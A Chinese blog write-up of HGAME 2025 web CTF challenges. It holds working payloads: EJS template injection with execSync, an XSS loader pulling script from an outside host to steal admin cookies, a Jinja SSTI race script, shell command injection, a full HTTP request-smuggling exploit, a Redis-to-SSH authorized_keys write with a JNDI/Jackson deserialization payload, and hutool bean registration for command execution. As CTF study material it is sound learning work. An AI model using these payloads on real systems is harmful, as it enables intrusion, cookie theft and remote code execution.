HGAME2025新生赛
本文最后更新于310 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

HGAME2025新生赛-web

week1

Level 24 Pacman

查看前端源码

image-20250213172902250

base64加栅栏

Level 47 BandBomb

给了源码

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});
const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});
app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');

  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});
app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});
app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});
app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

前置知识:在基于 Express.js 的 Web 应用程序中,views 目录是一个约定俗成的目录名称,用于存放 模板文件。这些模板文件通常用于渲染动态 HTML 页面。在 Express.js 应用程序中,views 目录通常位于项目的根目录下。

/rename路由没有对文件名做任何限制。说明可以利用文件名来修改文件路径。

app.set(‘view engine’, ‘ejs’);使用ejs模板引擎。那么我们写ejs文件来进行渲染

<!DOCTYPE html>
<html>
<body>
  <h1><%= process.mainModule.require("child_process").execSync("env") %></h1>
</body>
</html>

image-20250213181451180

重新访问根路由即可渲染成功。源码中res.render(‘mortis’, { files: files });表示根路由渲染mortis.ejs文件。所以我们重命名文件覆盖mortis.ejs。

Level 69 MysteryMessageBoard

这题感觉比上题简单些。看源码知道有/flag,/admin,/login,/logout路由

image-20250215162157817

burp爆破shallot/888888登录进去,是个留言板。

写下留言,我们要利用xss窃取admin的cookie,

<sCRiPt sRC=//xs.pe/avB></sCrIpT>

访问/admin路由,会自动访问我们的留言

image-20250215162753571

image-20250215162811134

拿到管理员的cookies然后访问/flag即可

Level 38475 角落(复现)

robots协议

image-20250225201135536

访问/app.conf

有个重写规则RewriteRule造成源码泄露

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
    Options Indexes
    AllowOverride None
    Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On     //重写规则开启
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"       //user_agent是L1nk/开头就会触发重写规则
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" 
//如果请求路径以 /admin/ 开头,那么会将请求重定向到对应的 HTML 文件,并附加 ?secret=todo 查询参数。
//例如访问/admin/xxx时候,Apache 会尝试在文件系统中查找 /xxx.html 文件。
ProxyPass "/app/" "http://127.0.0.1:5000/"

搜一下是CVE-2024-38475

只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句

image-20250225204028911

拿到源码

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg

def readmsg():
    filename = pwd + "/tmp/message.txt"
    if os.path.exists(filename):
        f = open(filename, 'r')
        message = f.read()
        f.close()
        return message
    else:
        return 'No message now.'

@app.route('/index', methods=['GET'])
def index():
    status = request.args.get('status')
    if status is None:
        status = ''
    return render_template("index.html", status=status)

@app.route('/send', methods=['POST'])
def write_message():
    filename = pwd + "/tmp/message.txt"
    message = request.form['message']

    f = open(filename, 'w')
    f.write(message) 
    f.close()

    return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
    if "{" not in readmsg():
        show = show_msg.replace("{{message}}", readmsg())
        return render_template_string(show)
    return 'waf!!'

if __name__ == '__main__':
    app.run(host = '0.0.0.0', port = 5000)

源码逻辑很简单。就三个功能

用户可以访问 /index 查看主页。

用户可以通过 /send 提交消息,消息会保存到 tmp/message.txt 文件中。

用户可以通过 /read 读取消息,消息会被渲染到模板中。

看到了render_template函数就一定会想到ssti

ssti加条件竞争

import requests
import threading
def send_payload():
    payload = "{{[].__class__.__bases__[0].__subclasses__()[204].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}"
    requests.post("http://node1.hgame.vidar.club:31237/app/send", data={"message":payload})
def read_message():
    a=requests.get("http://node1.hgame.vidar.club:31237/app/read")
    print(a.text)
threads = []
for i in range(20):
    t1 = threading.Thread(target=send_payload)
    t2 = threading.Thread(target=read_message)
    threads.append(t1)
    threads.append(t2)
    t1.start()
    t2.start()

week2(复现)

Level 21096 HoneyPot

给了源码,定位关键位置

func ImportData(c *gin.Context) {
    var config ImportConfig
    if err := c.ShouldBindJSON(&config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid request body: " + err.Error(),
        })
        return
    }
    if err := validateImportConfig(config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid input: " + err.Error(),
        })
        return
    }

    config.RemoteHost = sanitizeInput(config.RemoteHost)
    config.RemoteUsername = sanitizeInput(config.RemoteUsername)
    config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
    config.LocalDatabase = sanitizeInput(config.LocalDatabase)
    if manager.db == nil {
        dsn := buildDSN(localConfig)
        db, err := sql.Open("mysql", dsn)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to connect to local database: " + err.Error(),
            })
            return
        }

        if err := db.Ping(); err != nil {
            db.Close()
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to ping local database: " + err.Error(),
            })
            return
        }

        manager.db = db
    }
    if err := createdb(config.LocalDatabase); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to create local database: " + err.Error(),
        })
        return
    }
    //Never able to inject shell commands,Hackers can't use this,HaHa
    command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
        config.RemoteHost,
        config.RemoteUsername,
        config.RemotePassword,
        config.RemoteDatabase,
        localConfig.Username,
        localConfig.Password,
        config.LocalDatabase,
    )
    fmt.Println(command)
    cmd := exec.Command("sh", "-c", command)
    //cmd := exec.Command("cmd", "/C", command)
    if err := cmd.Run(); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to import data: " + err.Error(),
        })
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "success": true,
        "message": "Data imported successfully",
    })
}

func sanitizeInput(input string) string {
    reg := regexp.MustCompile(`[;&|><(){}[]\]`)
    return reg.ReplaceAllString(input, "")
}

func validateImportConfig(config ImportConfig) error {
    if config.RemoteHost == "" ||
        config.RemoteUsername == "" ||
        config.RemoteDatabase == "" ||
        config.LocalDatabase == "" {
        return fmt.Errorf("missing required fields")
    }

    if match, _ := regexp.MatchString(`^[a-zA-Z0-9.-]+$`, config.RemoteHost); !match {
        return fmt.Errorf("invalid remote host")
    }

    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
        return fmt.Errorf("invalid remote username")
    }

    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
        return fmt.Errorf("invalid remote database name")
    }

    if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
        return fmt.Errorf("invalid local database name")
    }

    return nil
}

这里直接将7个参数拼接到sql语句中并且RemotePassword没有过滤,造成了命令注入漏洞。

根据题目提示容器内置有/writeflag命令,会把预设的flag写入到/flag位置进行读取。

我们直接命令拼接执行/writeflag命令

image-20250225221440280

Level 111 不存在的车厢

给了源码

package main

import (
    h111 "level111111/protocol"
    "log"
    "net"
    "net/http"
    "net/http/httptest"
    "os"
)

var mux = http.NewServeMux()

func main() {
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte("Welcome to HGAME 2025"))
    })
    mux.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
        if r.Method != http.MethodPost {
            w.WriteHeader(http.StatusForbidden)
            return
        }
        flag := os.Getenv("FLAG")
        w.Write([]byte(flag))
    })

    listener, err := net.Listen("tcp", "127.0.0.1:8080")
    if err != nil {
        log.Fatalln(err)
    }
    for {
        conn, err := listener.Accept()
        if err != nil {
            log.Println(err)
            continue
        }
        go serverH111(conn)
    }
}

func serverH111(conn net.Conn) {
    defer conn.Close()
    for {
        req, err := h111.ReadH111Request(conn)
        if err != nil {
            log.Println(err)
            return
        }
        recorder := httptest.NewRecorder()
        mux.ServeHTTP(recorder, req)
        resp := recorder.Result()
        log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
        err = h111.WriteH111Response(conn, resp)
        if err != nil {
            log.Println(err)
            return
        }
    }
}

可以看出/路由返回welcome。/flag路由(post方法)返回FLAG环境变量。

但是这里的后端定义了一个H111协议接收前端proxy的请求。再看一下proxy的代码

package main

import (
    "fmt"
    "io"
    h111 "level111111/protocol"
    "net"
    "net/http"
    "sync"
    "time"
)

var pool sync.Pool

type proxyHandler struct {
}

func (h *proxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    fmt.Println("Received request", r.Method, r.URL.Path)
    if r.Method != "GET" {
        w.WriteHeader(http.StatusMethodNotAllowed)
        return
    }

    conn := pool.Get().(net.Conn)
    err := h111.WriteH111Request(conn, r)
    if err != nil {
        fmt.Println("error writing request")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }

    resp, err := h111.ReadH111Response(conn)
    if err != nil {
        fmt.Println("error reading response")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }

    w.WriteHeader(resp.StatusCode)
    for key, values := range resp.Header {
        for _, value := range values {
            w.Header().Add(key, value)
        }
    }

    bodyBytes, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("error reading response body")
        w.WriteHeader(http.StatusInternalServerError)
        conn.Close()
        return
    }
    w.Write(bodyBytes)
    pool.Put(conn)
}

func main() {
    pool = sync.Pool{
        New: func() interface{} {
            for {
                conn, err := net.Dial("tcp", "127.0.0.1:8080")
                if err != nil {
                    fmt.Println("error dialing to backend server")
                    time.Sleep(time.Millisecond * 300)
                    continue
                }
                return conn
            }
        },
    }
    http.ListenAndServe(":8081", &proxyHandler{})
}

该proxy通过自定义的 H111 协议将请求转发给后端,但它的 HTTP 接口只接受 GET 请求

那么目的是要输出FLAG环境变量,但是需要post方法请求。但是前端只接受GET请求。

注意这段代码

    if req.Body != nil {
        body, err := io.ReadAll(req.Body)
        if err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
        if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
        if _, err := writer.Write(body); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
    } else {
        if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
            return errors.Join(ErrWriteH111Request, err)
        }
    }

并没有对请求body的长度做限制。那么可以利用http请求走私

构造一个超长 GET 请求,总长度 B 超过 65535 字节,利用长度字段溢出制造出数据残留,将走私数据拼接在超长 GET 请求的尾部,这样当后端收到这条超长的 H111 请求时,它会按照协议:

先解析 GET 请求,读取 2 字节的长度字段,然后消费掉 L 个字节作为 GET 请求的 body。剩下的 B – L 字节正好构成一个完整的二进制编码的请求。当后端循环继续调用 h111.ReadH111Request 时,会把残留的数据解析为新的请求,也就是构造的伪造的 POST /flag 请求。后端检查到该请求后就会返回FLAG环境变量。

exp:
#!/usr/bin/env python3
import socket
import struct

def build_smuggled_request():
    method = b"POST"
    uri = b"/flag"
    header_count = 0
    fixed_part = (
        struct.pack(">H", len(method)) + method +
        struct.pack(">H", len(uri)) + uri +
        struct.pack(">H", header_count)
    )
    # body_size 为 65536 - 固定部分(17 字节) - 2 字节 body 长度字段
    body_size = 65536 - (len(fixed_part) + 2)
    # 构造 body,此处填充 A 字符
    body = b"A" * body_size

    # 构造 body 部分:先写 2 字节的 body 长度(body_size,uint16),再写 body 内容
    body_part = struct.pack(">H", body_size) + body

    smuggled = fixed_part + body_part
    assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
    return smuggled

def build_payload(padding_size, smuggled):
    padding = b"B" * padding_size  # P 字节填充(例如 100 字节)
    full_body = padding + smuggled
    return full_body

def build_http_request(full_body):
    request_line = b"GET /flag HTTP/1.1rn"
    headers = (
        b"Host: 127.0.0.1:8081rn" +
        b"Content-Length: " + str(len(full_body)).encode() + b"rn" +
        b"rn"
    )
    http_request = request_line + headers + full_body
    return http_request

def send_payload(host, port, payload):
    with socket.create_connection((host, port)) as s:
        print(f"[+] 连接到 {host}:{port}")
        s.sendall(payload)
        print("[+] Payload 已发送,等待响应...")
        response = b""
        s.settimeout(2)
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                response += chunk
        except socket.timeout:
            pass
        print("[+] 收到响应:")
        try:
            print(response.decode())
        except UnicodeDecodeError:
            print(response)

def main():
    # 选择填充长度 P
    padding_size = 100
    smuggled = build_smuggled_request()
    print(f"[+] 构造的 smuggled 请求长度: {len(smuggled)} bytes")
    full_body = build_payload(padding_size, smuggled)
    print(f"[+] 最终 HTTP 请求体总长度: {len(full_body)} bytes")
    http_request = build_http_request(full_body)
    print(f"[+] 构造的 HTTP 请求总长度: {len(http_request)} bytes")
    send_payload("node1.hgame.vidar.club", 30186, http_request)

if __name__ == "__main__":
    main()

多跑几次就出了

Level 257 日落的紫罗兰

给了两个tcp容器,一个是ssh,一个是redis

image-20250227161350733

这题flag在根目录,但是我们没有读取权限。

这题思路是利用Redis未授权访问漏洞,将SSH公钥写入目标服务器的 authorized_keys 文件,从而获得SSH访问权限。通过SSH上传恶意JAR文件,并利用Java应用程序的反序列化漏洞执行任意命令,最终提权拿到flag

本地执行以下命令

//生成rsa公私钥
ssh-keygen -t rsa
//将公钥以对应格式写入文件
(echo -e “nn”; cat ./id_rsa.pub; echo -e “nn”) > spaced_key.txt

服务器执行如下

//将公钥写入redis服务器
cat spaced_key.txt |redis-cli -h node1.hgame.vidar.club -p 32696 -x set ssh_key

//登录redis服务
redis-cli -h node1.hgame.vidar.club -p 32696

//设置Redis的持久化目录为 /home/mysid/.ssh,这是目标用户的SSH目录。
config set dir /home/mysid/.ssh

//设置Redis的持久化文件名为 authorized_keys,这是SSH公钥认证文件。
config set dbfilename "authorized_keys"

//将Redis中的数据保存到磁盘,即将公钥写入 /home/mysid/.ssh/authorized_keys 文件中。
save

//退出Redis客户端
exit

//使用生成的私钥 id_rsa 通过SSH登录到目标服务器,用户名为 mysid
ssh -i id_rsa mysid@node1.hgame.vidar.club -p 31906

//使用SCP命令将本地的恶意JAR文件 JNDIMap-0.0.1.jar 上传到目标服务器的 /tmp 目录。
scp -i ./id_rsa -P 31906 ./JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp

//运行恶意jar文件
/usr/local/openjdk-8/bin/java -jar JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"

//通过HTTP POST请求触发本地Java应用程序的LDAP查询,利用反序列化漏洞执行恶意代码
//注意这里要另开一个终端
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search

image-20250227185101979

image-20250227185129527

image-20250227185150934

Level 60 SignInJava

拿到jar包反编译。看一下关键源码

package icu.Liki4.signin.controller;

import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson2.JSON;
import icu.Liki4.signin.base.BaseResponse;
import icu.Liki4.signin.util.InvokeUtils;
import jakarta.servlet.http.HttpServletRequest;
import java.util.Map;
import java.util.Objects;
import org.apache.commons.io.IOUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
   @RequestMapping(
      value = {"/gateway"},
      method = {RequestMethod.POST}
   )
   @ResponseBody
   public BaseResponse doPost(HttpServletRequest request) throws Exception {
      try {
         String body = IOUtils.toString(request.getReader());
         Map<String, Object> map = (Map)JSON.parseObject(body, Map.class);
         String beanName = (String)map.get("beanName");
         String methodName = (String)map.get("methodName");
         Map<String, Object> params = (Map)map.get("params");
         if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[]{"flag"})) {
            return new BaseResponse(403, "flagTestService offline", (Object)null);
         } else {
            Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
            return new BaseResponse(200, (String)null, result);
         }
      } catch (Exception var8) {
         Exception e = var8;
         return new BaseResponse(500, ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null);
      }
   }
}

有一个/api/gateway接口。post方法以json格式获取 beanNamemethodNameparams 参数。

但是对beanname有过滤,不能出现flag。所以FlagTestService类及其catFlag方法不能使用。

这里可以利用cn.hutool包

该包中SpringUtil.java类中有个registerBean方法可以利用

image-20250227235030490

那么思路就来了,我们先使用这个代码注册一个恶意bean,然后在调用这个恶意bean的方法来拿flag。

{
  "beanName": "cn.hutool.extra.spring.SpringUtil",
  "methodName": "registerBean",
  "params": {"arg0":"evilCmd","arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}}
}

注册之后再利用这个恶意的evilcmd类来读取flag。因为RuntimeUtil类中的execForStr可以执行命令

image-20250227235803320

直接触发

{
  "beanName": "evilCmd",
  "methodName": "execForStr",
  "params": {"arg0":"utf-8","arg1":["/readflag"]}
}

image-20250228000443809

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇